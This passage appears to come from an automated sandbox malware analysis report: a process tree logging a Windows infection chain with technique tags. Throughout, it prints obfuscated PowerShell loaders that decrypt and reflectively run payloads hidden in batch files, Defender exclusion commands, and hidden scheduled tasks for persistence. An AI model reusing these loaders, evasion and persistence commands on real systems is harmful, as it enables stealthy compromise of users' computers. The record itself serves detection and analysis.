}}$payloads_var=[string[]]$KTGgd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));10⤵
- Command and Scripting Interpreter: PowerShell
PID:4364
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat'6⤵
- Command and Scripting Interpreter: PowerShell
PID:896
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat" "6⤵PID:3764
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8PMom9RnlfWzjG8MC5lXaac8aBGu+w5gW8NmRz9Kk+g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q3K43OSBcYlntcFGSbtNow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YujPS=New-Object System.IO.MemoryStream(,$param_var); $WQOly=New-Object System.IO.MemoryStream; $xgIaW=New-Object System.IO.Compression.GZipStream($YujPS, [IO.Compression.CompressionMode]::Decompress); $xgIaW.CopyTo($WQOly); $xgIaW.Dispose(); $YujPS.Dispose(); $WQOly.Dispose(); $WQOly.ToArray();}function execute_function($param_var,$param2_var){ $zVSXB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RyFSy=$zVSXB.EntryPoint; $RyFSy.Invoke($null, $param2_var);}$tIIDK = 'C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat';$host.UI.RawUI.WindowTitle = $tIIDK;$KlFzN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tIIDK).Split([Environment]::NewLine);foreach ($XYyBu in $KlFzN) { if ($XYyBu.StartsWith(':: ')) { $JQyvV=$XYyBu.Substring(3); break; }}$payloads_var=[string[]]$JQyvV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));7⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
PID:2004 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_641_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_641.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force8⤵
- Command and Scripting Interpreter: PowerShell
PID:2332
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_641.vbs"8⤵
- Checks computer location settings
PID:3652 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_641.bat" "9⤵PID:2028
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8PMom9RnlfWzjG8MC5lXaac8aBGu+w5gW8NmRz9Kk+g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q3K43OSBcYlntcFGSbtNow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YujPS=New-Object System.IO.MemoryStream(,$param_var); $WQOly=New-Object System.IO.MemoryStream; $xgIaW=New-Object System.IO.Compression.GZipStream($YujPS, [IO.Compression.CompressionMode]::Decompress); $xgIaW.CopyTo($WQOly); $xgIaW.Dispose(); $YujPS.Dispose(); $WQOly.Dispose(); $WQOly.ToArray();}function execute_function($param_var,$param2_var){ $zVSXB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RyFSy=$zVSXB.EntryPoint; $RyFSy.Invoke($null, $param2_var);}$tIIDK = 'C:\Users\Admin\AppData\Roaming\startup_str_641.bat';$host.UI.RawUI.WindowTitle = $tIIDK;$KlFzN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tIIDK).Split([Environment]::NewLine);foreach ($XYyBu in $KlFzN) { if ($XYyBu.StartsWith(':: ')) { $JQyvV=$XYyBu.Substring(3); break; }}$payloads_var=[string[]]$JQyvV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));10⤵
- Command and Scripting Interpreter: PowerShell
PID:3972
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\invoicer.bat'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4192
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\invoicer.bat" "5⤵PID:1208
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X7Zhl6Khi2ZbZn4/PrAf+8sGbyoXniPMQQRnCuRZwU4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FTiKRMGfSm1nLSyYBeX8aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWgzw=New-Object System.IO.MemoryStream(,$param_var); $qruKH=New-Object System.IO.MemoryStream; $RPpcy=New-Object System.IO.Compression.GZipStream($VWgzw, [IO.Compression.CompressionMode]::Decompress); $RPpcy.CopyTo($qruKH); $RPpcy.Dispose(); $VWgzw.Dispose(); $qruKH.Dispose(); $qruKH.ToArray();}function execute_function($param_var,$param2_var){ $kflaA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sDziU=$kflaA.EntryPoint; $sDziU.Invoke($null, $param2_var);}$gEOgE = 'C:\Users\Admin\AppData\Local\Temp\invoicer.bat';$host.UI.RawUI.WindowTitle = $gEOgE;$nkdNJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gEOgE).Split([Environment]::NewLine);foreach ($inqUq in $nkdNJ) { if ($inqUq.StartsWith(':: ')) { $KTGgd=$inqUq.Substring(3); break; }}$payloads_var=[string[]]$KTGgd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
PID:2624 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_253_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_253.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force7⤵
- Command and Scripting Interpreter: PowerShell
PID:1604
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_253.vbs"7⤵
- Checks computer location settings
PID:4160 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_253.bat" "8⤵PID:836
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X7Zhl6Khi2ZbZn4/PrAf+8sGbyoXniPMQQRnCuRZwU4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FTiKRMGfSm1nLSyYBeX8aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWgzw=New-Object System.IO.MemoryStream(,$param_var); $qruKH=New-Object System.IO.MemoryStream; $RPpcy=New-Object System.IO.Compression.GZipStream($VWgzw, [IO.Compression.CompressionMode]::Decompress); $RPpcy.CopyTo($qruKH); $RPpcy.Dispose(); $VWgzw.Dispose(); $qruKH.Dispose(); $qruKH.ToArray();}function execute_function($param_var,$param2_var){ $kflaA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sDziU=$kflaA.EntryPoint; $sDziU.Invoke($null, $param2_var);}$gEOgE = 'C:\Users\Admin\AppData\Roaming\startup_str_253.bat';$host.UI.RawUI.WindowTitle = $gEOgE;$nkdNJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gEOgE).Split([Environment]::NewLine);foreach ($inqUq in $nkdNJ) { if ($inqUq.StartsWith(':: ')) { $KTGgd=$inqUq.Substring(3); break; }}$payloads_var=[string[]]$KTGgd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));9⤵
- Command and Scripting Interpreter: PowerShell
PID:2212
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4000
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat" "5⤵PID:1388
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8PMom9RnlfWzjG8MC5lXaac8aBGu+w5gW8NmRz9Kk+g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q3K43OSBcYlntcFGSbtNow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YujPS=New-Object System.IO.MemoryStream(,$param_var); $WQOly=New-Object System.IO.MemoryStream; $xgIaW=New-Object System.IO.Compression.GZipStream($YujPS, [IO.Compression.CompressionMode]::Decompress); $xgIaW.CopyTo($WQOly); $xgIaW.Dispose(); $YujPS.Dispose(); $WQOly.Dispose(); $WQOly.ToArray();}function execute_function($param_var,$param2_var){ $zVSXB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RyFSy=$zVSXB.EntryPoint; $RyFSy.Invoke($null, $param2_var);}$tIIDK = 'C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat';$host.UI.RawUI.WindowTitle = $tIIDK;$KlFzN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tIIDK).Split([Environment]::NewLine);foreach ($XYyBu in $KlFzN) { if ($XYyBu.StartsWith(':: ')) { $JQyvV=$XYyBu.Substring(3); break; }}$payloads_var=[string[]]$JQyvV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
PID:508 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_710_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_710.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force7⤵
- Command and Scripting Interpreter: PowerShell
PID:2056
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_710.vbs"7⤵
- Checks computer location settings
PID:2868 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_710.bat" "8⤵PID:2016
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵PID:4836
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8PMom9RnlfWzjG8MC5lXaac8aBGu+w5gW8NmRz9Kk+g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q3K43OSBcYlntcFGSbtNow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YujPS=New-Object System.IO.MemoryStream(,$param_var); $WQOly=New-Object System.IO.MemoryStream; $xgIaW=New-Object System.IO.Compression.GZipStream($YujPS, [IO.Compression.CompressionMode]::Decompress); $xgIaW.CopyTo($WQOly); $xgIaW.Dispose(); $YujPS.Dispose(); $WQOly.Dispose(); $WQOly.ToArray();}function execute_function($param_var,$param2_var){ $zVSXB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RyFSy=$zVSXB.EntryPoint; $RyFSy.Invoke($null, $param2_var);}$tIIDK = 'C:\Users\Admin\AppData\Roaming\startup_str_710.bat';$host.UI.RawUI.WindowTitle = $tIIDK;$KlFzN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tIIDK).Split([Environment]::NewLine);foreach ($XYyBu in $KlFzN) { if ($XYyBu.StartsWith(':: ')) { $JQyvV=$XYyBu.Substring(3); break; }}$payloads_var=[string[]]$JQyvV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));9⤵
- Command and Scripting Interpreter: PowerShell
PID:388
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\invoicer.bat'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2204
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\invoicer.bat" "4⤵PID:4836
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X7Zhl6Khi2ZbZn4/PrAf+8sGbyoXniPMQQRnCuRZwU4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FTiKRMGfSm1nLSyYBeX8aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWgzw=New-Object System.IO.MemoryStream(,$param_var); $qruKH=New-Object System.IO.MemoryStream; $RPpcy=New-Object System.IO.Compression.GZipStream($VWgzw, [IO.Compression.CompressionMode]::Decompress); $RPpcy.CopyTo($qruKH); $RPpcy.Dispose(); $VWgzw.Dispose(); $qruKH.Dispose(); $qruKH.ToArray();}function execute_function($param_var,$param2_var){ $kflaA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sDziU=$kflaA.EntryPoint; $sDziU.Invoke($null, $param2_var);}$gEOgE = 'C:\Users\Admin\AppData\Local\Temp\invoicer.bat';$host.UI.RawUI.WindowTitle = $gEOgE;$nkdNJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gEOgE).Split([Environment]::NewLine);foreach ($inqUq in $nkdNJ) { if ($inqUq.StartsWith(':: ')) { $KTGgd=$inqUq.Substring(3); break; }}$payloads_var=[string[]]$KTGgd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
PID:3376 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_656_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_656.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force6⤵
- Command and Scripting Interpreter: PowerShell
PID:4412
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_656.vbs"6⤵
- Checks computer location settings
PID:4372 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_656.bat" "7⤵PID:1348
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X7Zhl6Khi2ZbZn4/PrAf+8sGbyoXniPMQQRnCuRZwU4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FTiKRMGfSm1nLSyYBeX8aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWgzw=New-Object System.IO.MemoryStream(,$param_var); $qruKH=New-Object System.IO.MemoryStream; $RPpcy=New-Object System.IO.Compression.GZipStream($VWgzw, [IO.Compression.CompressionMode]::Decompress); $RPpcy.CopyTo($qruKH); $RPpcy.Dispose(); $VWgzw.Dispose(); $qruKH.Dispose(); $qruKH.ToArray();}function execute_function($param_var,$param2_var){ $kflaA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sDziU=$kflaA.EntryPoint; $sDziU.Invoke($null, $param2_var);}$gEOgE = 'C:\Users\Admin\AppData\Roaming\startup_str_656.bat';$host.UI.RawUI.WindowTitle = $gEOgE;$nkdNJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gEOgE).Split([Environment]::NewLine);foreach ($inqUq in $nkdNJ) { if ($inqUq.StartsWith(':: ')) { $KTGgd=$inqUq.Substring(3); break; }}$payloads_var=[string[]]$KTGgd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));8⤵
- Command and Scripting Interpreter: PowerShell
PID:4920
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2216
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat" "4⤵PID:2188
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8PMom9RnlfWzjG8MC5lXaac8aBGu+w5gW8NmRz9Kk+g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q3K43OSBcYlntcFGSbtNow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YujPS=New-Object System.IO.MemoryStream(,$param_var); $WQOly=New-Object System.IO.MemoryStream; $xgIaW=New-Object System.IO.Compression.GZipStream($YujPS, [IO.Compression.CompressionMode]::Decompress); $xgIaW.CopyTo($WQOly); $xgIaW.Dispose(); $YujPS.Dispose(); $WQOly.Dispose(); $WQOly.ToArray();}function execute_function($param_var,$param2_var){ $zVSXB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RyFSy=$zVSXB.EntryPoint; $RyFSy.Invoke($null, $param2_var);}$tIIDK = 'C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat';$host.UI.RawUI.WindowTitle = $tIIDK;$KlFzN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tIIDK).Split([Environment]::NewLine);foreach ($XYyBu in $KlFzN) { if ($XYyBu.StartsWith(':: ')) { $JQyvV=$XYyBu.Substring(3); break; }}$payloads_var=[string[]]$JQyvV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
PID:2980 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_924_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_924.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force6⤵
- Command and Scripting Interpreter: PowerShell
PID:4728
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_924.vbs"6⤵
- Checks computer location settings
PID:3132 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_924.bat" "7⤵PID:2936
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8PMom9RnlfWzjG8MC5lXaac8aBGu+w5gW8NmRz9Kk+g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q3K43OSBcYlntcFGSbtNow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YujPS=New-Object System.IO.MemoryStream(,$param_var); $WQOly=New-Object System.IO.MemoryStream; $xgIaW=New-Object System.IO.Compression.GZipStream($YujPS, [IO.Compression.CompressionMode]::Decompress); $xgIaW.CopyTo($WQOly); $xgIaW.Dispose(); $YujPS.Dispose(); $WQOly.Dispose(); $WQOly.ToArray();}function execute_function($param_var,$param2_var){ $zVSXB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RyFSy=$zVSXB.EntryPoint; $RyFSy.Invoke($null, $param2_var);}$tIIDK = 'C:\Users\Admin\AppData\Roaming\startup_str_924.bat';$host.UI.RawUI.WindowTitle = $tIIDK;$KlFzN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tIIDK).Split([Environment]::NewLine);foreach ($XYyBu in $KlFzN) { if ($XYyBu.StartsWith(':: ')) { $JQyvV=$XYyBu.Substring(3); break; }}$payloads_var=[string[]]$JQyvV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join 